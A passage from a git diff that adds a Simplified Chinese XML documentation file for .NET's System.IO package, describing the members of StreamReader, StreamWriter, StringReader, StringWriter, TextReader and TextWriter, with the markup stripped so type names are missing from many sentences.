类的新实例，带有指定的字符编码和字节顺序标记检测选项。 + 要读取的流。 + 要使用的字符编码。 + 指示是否在文件头查找字节顺序标记。 + + 不支持读取。 + + 或 为 null。 + + + 为指定的流初始化 类的新实例，带有指定的字符编码、字节顺序标记检测选项和缓冲区大小。 + 要读取的流。 + 要使用的字符编码。 + 指示是否在文件头查找字节顺序标记。 + 最小缓冲区大小。 + 流不支持读取。 + + 或 为 null。 + + 小于或等于零。 + + + 为指定的流初始化 类的新实例，带有指定的字符编码、字节顺序标记检测选项和缓冲区大小，有选择性的打开流。 + 要读取的流。 + 要使用的字符编码。 + 如果要在文件开头查找字节顺序标记，则为 true；否则为 false。 + 最小缓冲区大小。 + 如果在释放 对象后保持流处于打开状态，则为 true；否则为 false。 + + + 返回基础流。 + 基础流。 + 2 + + + 获取当前 对象正在使用的当前字符编码。 + 当前读取器所使用的当前字符编码。第一次调用 的任何 方法后，该值可能会不同，因为直到第一次调用 方法时，才会进行编码的自动检测。 + 2 + + + 清除内部缓冲区。 + 2 + + + 关闭基础流，释放 使用的未托管资源，同时还可以根据需要释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 获取一个值，该值指示当前的流位置是否在流结尾。 + 如果当前流位置位于流的末尾，则为 true；否则为 false。 + 基础流已释放。 + 1 + + + 空流周围的 。 + 1 + + + 返回下一个可用字符，但不使用它。 + 为表示下一个要读取的字符的整数，或者，如果没有要读取的字符或该流不支持查找，则为 -1。 + 发生 I/O 错误。 + 1 + + + 读取输入流中的下一个字符并使该字符位置提升一个字符。 + 输入流中表示为 对象的下一个字符。如果不再有可用的字符，则为 -1。 + 发生 I/O 错误。 + 1 + + + 从指定的索引位置开始将来自当前流的指定的最多字符读到缓冲区。 + 已读取的字符数，或者如果已到达流结尾并且未读取任何数据，则为 0。该数小于或等于 参数，具体取决于流中是否有可用的数据。 + 此方法返回时，包含指定的字符数组，该数组的 和 () 之间的值由从当前源中读取的字符替换。 + 开始写入的 的索引。 + 要读取的最大字符数。 + 缓冲区长度减去 小于 。 + + 为 null。 + + 或 为负。 + 出现 I/O 错误，如流被关闭。 + 1 + + + 从当前流中异步读取指定的最大字符，并且从指定的索引位置开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定的字符数写入缓冲区之前已到达流结尾，则将返回当前方法。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前流中读取指定的最大字符数并从指定的索引位置开始将该数据写入缓冲区。 + 已读取的字符数。该数字将小于或等于 ，取决于是否所有的输入字符都已读取。 + 此方法返回时，包含指定的字符数组，该数组的 和 () 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + + 是关闭的。 + 发生了 I/O 错误。 + + + 从当前流中异步读取指定的最大字符，并且从指定的索引位置开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定的字符数写入到缓冲区之前就已经达到流结尾，则将返回此方法。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前流中读取一行字符并将数据作为字符串返回。 + 输入流中的下一行；如果到达了输入流的末尾，则为 null。 + 内存不足，无法为返回的字符串分配缓冲区。 + 发生 I/O 错误。 + 1 + + + 从当前流中异步读取一行字符并将数据作为字符串返回。 + 表示异步读取操作的任务。 参数的值包含来自流的下一行；如果读取了所有字符，则为 null。 + 下一行中的字符数大于 。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 读取来自流的当前位置到结尾的所有字符。 + 字符串形式的流的其余部分（从当前位置到结尾）。如果当前位置位于流结尾，则返回空字符串 (“”)。 + 内存不足，无法为返回的字符串分配缓冲区。 + 发生 I/O 错误。 + 1 + + + 异步读取来自流的当前位置到结尾的所有字符并将它们作为一个字符串返回。 + 表示异步读取操作的任务。 参数值包括带有从流的当前位置到结尾的字符的字符串。 + 字符数大于 。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 实现一个 ，使其以一种特定的编码向流中写入字符。若要浏览此类型的.NET Framework 源代码，请参阅参考源。 + 1 + + + 用 UTF-8 编码及默认缓冲区大小，为指定的流初始化 类的一个新实例。 + 要写入的流。 + + 不可写。 + + 为 null。 + + + 用指定的编码及默认缓冲区大小，为指定的流初始化 类的新实例。 + 要写入的流。 + 要使用的字符编码。 + + 或 为 null。 + + 不可写。 + + + 用指定的编码及缓冲区大小，为指定的流初始化 类的新实例。 + 要写入的流。 + 要使用的字符编码。 + 缓冲区大小（以字节为单位）。 + + 或 为 null。 + + 为负数。 + + 不可写。 + + + 用指定的编码及默认缓冲区大小，为指定的流初始化 类的新实例，有选择性的打开流。 + 要写入的流。 + 要使用的字符编码。 + 缓冲区大小（以字节为单位）。 + true to leave the stream open after the object is disposed; otherwise, false. + + 或 为 null。 + + 为负数。 + + 不可写。 + + + 获取或设置一个值，该值指示 是否在每次调用 之后，将其缓冲区刷新到基础流。 + 强制 刷新其缓冲区时，为 true；否则，为 false。 + 1 + + + 获取同后备存储连接的基础流。 + 此 StreamWriter 正在写入的基础流。 + 2 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true to release both managed and unmanaged resources; false to release only unmanaged resources. + 当前编码不支持显示半个 Unicode 代理项对。 + + + 获取将输出写入到其中的 。 + 在当前实例的构造函数中指定的 ；或者如果未指定编码，则为 。 + 2 + + + 清理当前写入器的所有缓冲区，并使所有缓冲数据写入基础流。 + 当前编写器已关闭。 + 出现 I/O 错误。 + 当前编码不支持显示半个 Unicode 代理项对。 + 1 + + + 异步清除此流的所有缓冲区并导致所有缓冲数据都写入基础设备中。 + 表示异步刷新操作的任务。 + 流已被释放。 + + + 提供 StreamWriter，它不带任何可写入但无法从中读取的后备存储。 + 1 + + + 将字符写入流。 + 要写入流中的字符。 + 发生 I/O 错误。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 1 + + + 将字符数组写入流。 + 包含要写入的数据的字符数组。如果 为 null，则不写入任何内容。 + 发生 I/O 错误。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 1 + + + 将字符的子数组写入流。 + 包含要写入的数据的字符数组。 + 在开始读取数据时缓冲区中的字符位置。 + 要写入的最大字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + 发生 I/O 错误。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 1 + + + 将字符串写入流。 + 要写入流的字符串。如果 为 null，则不写入任何内容。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 发生 I/O 错误。 + 1 + + + 将字符异步写入该流。 + 表示异步写操作的任务。 + 要写入流中的字符。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将字符的子数组异步写入该流。 + 表示异步写操作的任务。 + 包含要写入的数据的字符数组。 + 在开始读取数据时缓冲区中的字符位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将字符串异步写入该流。 + 表示异步写操作的任务。 + 要写入流的字符串。如果 为 null，则不写入任何内容。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将行终止符异步写入该流。 + 表示异步写操作的任务。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将后跟行终止符的字符异步写入该流。 + 表示异步写操作的任务。 + 要写入流中的字符。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将后跟行终止符的字符的子数组异步写入该流。 + 表示异步写操作的任务。 + 要从中写出数据的字符数组。 + 在开始读取数据时缓冲区中的字符位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将后跟行终止符的字符串异步写入该流。 + 表示异步写操作的任务。 + 要写入的字符串。如果值为 null，则只写入行终止符。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 实现从字符串进行读取的 。 + 2 + + + 初始化从指定字符串进行读取的 类的新实例。 + 应将 初始化为的字符串。 + + 参数为 null。 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true 表示释放托管资源和非托管资源；false 表示仅释放非托管资源。 + + + 返回下一个可用的字符，但不使用它。 + 一个表示下一个要读取的字符的整数；如果没有更多可读取的字符或该流不支持查找，则为 -1。 + 当前读取器已关闭。 + 2 + + + 读取输入字符串中的下一个字符并将该字符的位置提升一个字符。 + 基础字符串中的下一个字符，或者如果没有更多的可用字符，则为 -1。 + 当前读取器已关闭。 + 2 + + + 读取输入字符串中的字符块，并将字符位置提升 。 + 读入缓冲区的总字符数。如果当前没有那么多字符可用，则总字符数可能会少于所请求的字符数，或者如果已到达基础字符串的结尾，则总字符数为零。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 缓存区中的起始索引。 + 要读取的字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + 当前读取器已关闭。 + 2 + + + 异步从当前字符串中读取指定数目的字符并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已到达字符串的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 最多读取的字符数。如果在写入指定数目的字符到缓冲区之前，就已经达到字符串的末尾，则方法返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 异步从当前字符串中读取指定数目的字符并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已到达字符串的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 最多读取的字符数。如果在写入指定数目的字符到缓冲区之前，就已经达到字符串的末尾，则方法返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前字符串中读取一行字符并将数据作为字符串返回。 + 当前字符串中的下一行；或为 null （如果到达了字符串的末尾）。 + 当前读取器已关闭。 + 内存不足，无法为返回的字符串分配缓冲区。 + 2 + + + 从当前字符串中异步读取一行字符并将数据作为字符串返回。 + 表示异步读取操作的任务。 参数的值包含来自字符串读取器的下一行或为 null 如果读取所有字符。 + 下一行中的字符数大于 。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 读取从当前位置到字符串的结尾的所有字符并将它们作为单个字符串返回。 + 从当前位置到基础字符串的结尾之间的内容。 + 内存不足，无法为返回的字符串分配缓冲区。 + 当前读取器已关闭。 + 2 + + + 异步读取从当前位置到字符串的结尾的所有字符并将它们作为单个字符串返回。 + 表示异步读取操作的任务。 参数值包括字符串来自当前位置到结束字符串字符。 + 字符数大于 。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 实现一个用于将信息写入字符串的 。该信息存储在基础 中。 + 2 + + + 初始化 类的新实例。 + + + 使用指定的格式控制初始化 类的新实例。 + 控制格式设置的 对象。 + + + 初始化写入指定 的 类的新实例。 + 要写入的 StringBuilder。 + + 为 null。 + + + 初始化写入指定 并具有指定格式提供程序的 类的新实例。 + 要写入的 StringBuilder。 + 控制格式设置的 对象。 + + 为 null。 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true 表示释放托管资源和非托管资源；false 表示仅释放非托管资源。 + + + 获取将输出写入到其中的 。 + 用来写入输出的 Encoding。 + 1 + + + 异步清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 表示异步刷新操作的任务。 + + + 返回基础 。 + 基础 StringBuilder。 + 2 + + + 返回包含迄今为止写入到当前 StringWriter 中的字符的字符串。 + 包含写入到当前 StringWriter 中的字符的字符串。 + 2 + + + 将字符写入该字符串。 + 要写入的字符。 + 编写器已关闭。 + 2 + + + 将字符的子数组写入该字符串。 + 要从中写出数据的字符数组。 + 在开始读取数据缓存中的位置。 + 要写入的最大字符数。 + + 为 null。 + + 或 为负。 + ( + )> 。Length. + 编写器已关闭。 + 2 + + + 将字符串写入当前流。 + 要写入的字符串。 + 编写器已关闭。 + 2 + + + 以异步方式将字符写入流。 + 表示异步写入操作的任务。 + 要写入字符串中的字符。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 将字符的子数组异步写入该字符串。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始读取数据缓存中的位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 以异步方式将字符串写入当前流。 + 表示异步写入操作的任务。 + 要写入的字符串。如果 为 null，则不会将任何内容写入文本流。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 以异步方式将后跟行结束符的字符写入该字符串。 + 表示异步写入操作的任务。 + 要写入字符串中的字符。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符子数组异步写入该字符串。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始读取数据缓存中的位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 将一后跟行结束符的字符串异步写入当前字符串。 + 表示异步写入操作的任务。 + 要写入的字符串。如果值为 null，则只写入行终止符。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 表示可读取有序字符系列的读取器。 + 2 + + + 初始化 类的新实例。 + + + 释放由 对象使用的所有资源。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + 提供一个无数据可供读取的 TextReader。 + 1 + + + 读取下一个字符，而不更改读取器状态或字符源。返回下一个可用字符，而实际上并不从读取器中读取此字符。 + 一个表示下一个要读取的字符的整数；如果没有更多可读取的字符或该读取器不支持查找，则为 -1。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 读取文本读取器中的下一个字符并使该字符的位置前移一个字符。 + 文本读取器中的下一个字符，或为 -1（如果没有更多可用字符）。默认实现将返回 -1。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 从当前读取器中读取指定数目的字符并从指定索引开始将该数据写入缓冲区。 + 已读取的字符数。该数会小于或等于 ，具体取决于读取器中是否有可用的数据。如果调用此方法时没有留下更多的字符供读取，则此方法返回 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定数量的字符读入缓冲区之前就已达读取器的末尾，则返回该方法。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 异步从当前文本读取器中读取指定最大字符数并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已达到文本的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定数量的字符读入缓冲区之前已到达文本的末尾，则当前方法将返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前文本读取器中读取指定的最大字符数并从指定索引处开始将该数据写入缓冲区。 + 已读取的字符数。该数字将小于或等于 ，具体取决于是否所有的输入字符都已读取。 + 此方法返回时，此参数包含指定的字符数组，该数组中从 到 ( + -1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 2 + + + 异步从当前文本读取器中读取指定最大字符数并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已达到文本的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定数量的字符读入缓冲区之前已到达文本的末尾，则当前方法将返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从文本读取器中读取一行字符并将数据作为字符串返回。 + 读取器中的下一行，或为 null （如果已读取了所有字符）。 + 发生 I/O 错误。 + 内存不足，无法为返回的字符串分配缓冲区。 + + 是关闭的。 + 下一行中的字符数大于 + 1 + + + 异步读取一行字符并将数据作为字符串返回。 + 表示异步读取操作的任务。 参数的值包含来自文本读取器的下一行或为 null 如果读取所有字符。 + 下一行中的字符数大于 。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 读取从当前位置到文本读取器末尾的所有字符并将它们作为一个字符串返回。 + 一个包含从当前位置到文本读取器末尾的所有字符的字符串。 + 发生 I/O 错误。 + + 是关闭的。 + 内存不足，无法为返回的字符串分配缓冲区。 + 下一行中的字符数大于 + 1 + + + 异步读取从当前位置到文本读取器末尾的所有字符并将它们作为一个字符串返回。 + 表示异步读取操作的任务。 参数值包括字符串来自当前位置到结束文本读取器字符。 + 字符数大于 。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 表示可以编写一个有序字符系列的编写器。此类为抽象类。 + 2 + + + 初始化 类的新实例。 + + + 使用指定的格式提供程序初始化 类的新实例。 + 控制格式设置的 对象。 + + + 存储用于此 TextWriter 的换行符。 + + + 释放由 对象使用的所有资源。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 当在派生类中重写时，返回用来写输出的该字符编码。 + 用来写入输出的字符编码。 + 1 + + + 清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 1 + + + 异步清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 表示异步刷新操作的任务。 + 文本编写器已被释放。 + 编写器正在由其前一次写操作使用。 + + + 获取控制格式设置的对象。 + 特定区域性的 对象，或者如果未指定任何其他区域性，则为当前区域性的格式设置。 + 2 + + + 获取或设置由当前 TextWriter 使用的行结束符字符串。 + 当前 TextWriter 的行结束符字符串。 + 2 + + + 提供 TextWriter，它不带任何可写入但无法从中读取的后备存储。 + 1 + + + 将 Boolean 值的文本表示形式写入文本字符串或流。 + 要写入的 Boolean 值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将字符写入该文本字符串或流。 + 要写入文本流中的字符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将字符数组写入该文本字符串或流。 + 要写入文本流中的字符数组。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将字符的子数组写入文本字符串或流。 + 要从中写出数据的字符数组。 + 在开始接收数据时缓存中的字符位置。 + 要写入的字符数。 + 缓冲区长度减去 小于 。 + + 参数为 null。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将十进制值的文本表示形式写入文本字符串或流。 + 要写入的十进制值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 8 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 8 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 4 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 8 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 通过在对象上调用 ToString 方法将此对象的文本表示形式写入文本字符串或流。 + 要写入的对象。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 4 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 4 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 以异步形式将字符串写入到文本字符串或流。 + 要写入的字符串。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为一)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0） 或大于或等于要设置格式的对象数 (用于该方法重载，为二)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + 要设置格式和写入的第三个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为三)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 一个对象数组，其中包含零个或多个要设置格式和写入的对象。 + + 或 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0（零）或大于等于 数组的长度。 + 1 + + + 将 4 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 8 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 以异步形式将字符写入到下一个文本字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 以异步形式将字符数组写入到下一个字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符数组。如果 为 null，则不写入任何内容。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将字符的子数组异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始接收数据时缓存中的字符位置。 + 要写入的字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 以异步形式将字符串写入到下一字符串或流。 + 表示异步写入操作的任务。 + 要写入的字符串。如果 为 null，则不会将任何内容写入文本流。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将行结束符的字符串写入文本字符串或流。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后面带有行结束符的 Boolean 值的文本表示形式写入文本字符串或流。 + 要写入的 Boolean 值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符写入文本字符串或流。 + 要写入文本流中的字符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符数组写入文本字符串或流。 + 从其读取数据的字符数组。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符子数组写入文本字符串或流。 + 从其读取数据的字符数组。 + 在开始读取数据时 中的字符位置。 + 要写入的最大字符数。 + 缓冲区长度减去 小于 。 + + 参数为 null。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后面带有行结束符的十进制值的文本表示形式写入文本字符串或流。 + 要写入的十进制值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 8 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 8 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 4 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 8 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 通过在对象上调用 ToString 方法将后跟行结束符的此对象的文本表示形式写入文本字符串或流。 + 要写入的对象。如果 为 null，则只写入行终止符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 4 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 4 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符串写入文本字符串或流。 + 要写入的字符串。如果 为 null，则只写入行终止符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为一)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为二)。 + 1 + + + 使用与 相同的语义写出格式化的字符串和一个新行。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + 要设置格式和写入的第三个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为三)。 + 1 + + + 使用与 相同的语义写出格式化的字符串和一个新行。 + 复合格式字符串（请参见“备注”）。 + 一个对象数组，其中包含零个或多个要设置格式和写入的对象。 + 字符串或对象作为 null 传入。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0（零）或大于等于 数组的长度。 + 1 + + + 将后跟行结束符的 4 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 8 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将行结束符的字符串异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符数组异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符数组。如果字符数组为 null，则仅写入行结束符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符子数组异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始接收数据时缓存中的字符位置。 + 要写入的字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符串异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要写入的字符串。如果值为 null，则只写入行终止符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.5/zh-hant/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.5/zh-hant/System.IO.xml new file mode 100644 index 0000000..68602e9 --- 